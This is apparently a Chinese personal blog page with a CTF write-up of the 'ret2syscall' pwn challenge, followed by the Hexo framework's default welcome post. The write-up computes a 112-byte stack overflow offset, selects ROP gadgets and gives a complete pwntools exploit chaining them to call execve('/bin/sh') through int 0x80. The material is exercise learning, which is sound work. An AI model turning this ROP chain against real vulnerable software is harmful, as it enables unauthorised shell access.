前路漫漫

你说明天会是什么样的呢?

0%

ret2syscall

拿到附件检查一下保护,拿到ida中打开

![](C:\Users\lenovo\Desktop\pwn’s wp\ret2syscall\1.png)

![](C:\Users\lenovo\Desktop\pwn’s wp\ret2syscall\2.png)

将断点下到call函数,此时ESP,EBP地址通过v4的相对索引可以推算出v4的空间,为108,+4为112

![](C:\Users\lenovo\Desktop\pwn’s wp\ret2syscall\3.png)

发现代码有‘/bin/sh’,可以用execve()系统函数调用

该程序是 32 位,所以我们需要使得

系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

![](C:\Users\lenovo\Desktop\pwn’s wp\ret2syscall\4.png)

eax地址选择为 0x080bb196

![](C:\Users\lenovo\Desktop\pwn’s wp\ret2syscall\5.png)

选择0x0806eb90控制edx,ecx,ebx ret

![](C:\Users\lenovo\Desktop\pwn’s wp\ret2syscall\6.png)

找到字符出地址,该程序为32位,系统调用号为0xb,int_0x80来触发execve()系统调用

找到int_0x80地址

![](C:\Users\lenovo\Desktop\pwn’s wp\ret2syscall\7.png)

所有地址都找到了,开始构造exp

1
2
3
4
5
6
7
8
9
from pwn import *
p = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh = 0x080be408
int_0x80 = 0x08049421
payload = flat(b'a'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,bin_sh,int_0x80)
p.sendline(payload)
p.interactive()

通过此题更深一步了解了栈溢出

并且学会了ROPgadgets的使用

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment